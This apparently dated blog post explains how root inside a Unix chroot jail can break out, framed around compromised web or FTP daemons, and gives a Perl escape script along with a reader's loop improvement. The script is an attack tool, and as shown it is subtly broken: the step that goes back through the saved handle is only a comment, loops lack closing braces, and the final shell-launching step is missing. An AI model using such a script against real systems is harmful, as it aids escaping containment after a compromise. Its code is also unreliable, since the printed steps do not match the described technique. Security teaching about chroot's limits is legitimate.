Breaking Out of a Chroot Jail Using PERL

I had cause to want to break out of a chroot’d environment recently.  It is well known that if you’re root within the chroot environment you can break out of it.

I set about learning how to break out of chroot and came across an excellent description by Simes from 2002.  It contains a well documented C program that breaks out of the chroot environment.

I wanted to use PERL to break out of the environment, as few chroot environments will contain a C compiler and you may not always be in a position to compile the above program for the OS and Architecture of your jail.

Recap: What is Chroot?

According to wikipedia:

A chroot on Unix operating systems is an operation that changes the apparent disk root directory for the current running process and its children. A program that is re-rooted to another directory cannot access or name files outside that directory, called a chroot jail.

You’re likely to come across chroot environments when testing web servers or FTP servers.  Such services are exposed and therefore could be compromised.  If you comrpomise a chroot’d HTTP or FTP daemon you will only gain access to the limited chroot environment.  You will not be to access the real /etc/passwd for example.  You would only be able to access /some-path-you-dont-even-know-about/etc/passwd.  Your process is trapped inside a directory structure that you can’t break out of.

…unless you’re root.  If you escalate your privileges to root within the jail, it is possible to get out.  Your only obstacle is finding a way to make the “chroot” system call with the tools available to you inside the chroot jail – or uploading your own tools.  Your options include:

  • Compiling a program such as this on the target host – but you probably don’t have a C compiler in the chroot jail.
  •  Uploading a precompiled chroot-escaper – if you have one for the target OS/architecture.
  • Using an installed scripting language (PERL, PHP, Python) – if there’s one installed

Overview of Breaking out of Chroot

The C program referenced about uses this technique:

  1. Open a file handle to the root of the jail
  2. Create a sub directory in the jail and chroot yourself there (you are root, so you are allowed to chroot).  You’re now even deeper in the jail.
  3. Change directory using the file handle to the root of the old jail.  You’re now outside of the chroot jail you created in the sub directory.  You’re free!  Well, kind of.  Actually all locations starting with ‘/’ are still mapped to that sub directory.  You don’t want this.
  4. cd ..; cd ..; …until you reach the real root.
  5. Chroot yourself in the real root.  Now you’re properly free.

The PERL Script

Here’s a simple PERL implementation.  It seems to work on Linux:

#!/usr/bin/perl -w
use strict;
# Dec 2007

# This script may be used for legal purposes only.

# Go to the root of the jail
chdir "/";

# Open filehandle to root of jail
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

# Create a subdir, move into it
mkdir "mysubdir";
chdir "mysubdir";

# Lock ourselves in a new jail
chroot ".";

# Use our filehandle to get back to the root of the old jail

# Get to the real root
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
        chdir "..";

# Lock ourselves in real root - so we're not really in a jail at all now
chroot ".";

# Start an un-jailed shell

So is this a Vulnerability?

To be clear, this is NOT a vulnerability. The root user is supposed to be able to change the root directory for the current process and for child processes. Chroot only jails non-root processes. Wikipedia clearly summarises the limitations of chroot.


Thanks to timb for the suggestion to change this:

foreach my $count (1..100) {
        chdir "..";

To this (which checks if ‘.’ and ‘..’ are the same thing):

while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
        chdir "..";

Much nicer. He even credited his source: “Solaris Systems Programming” by Rich Teer.

Leave a Reply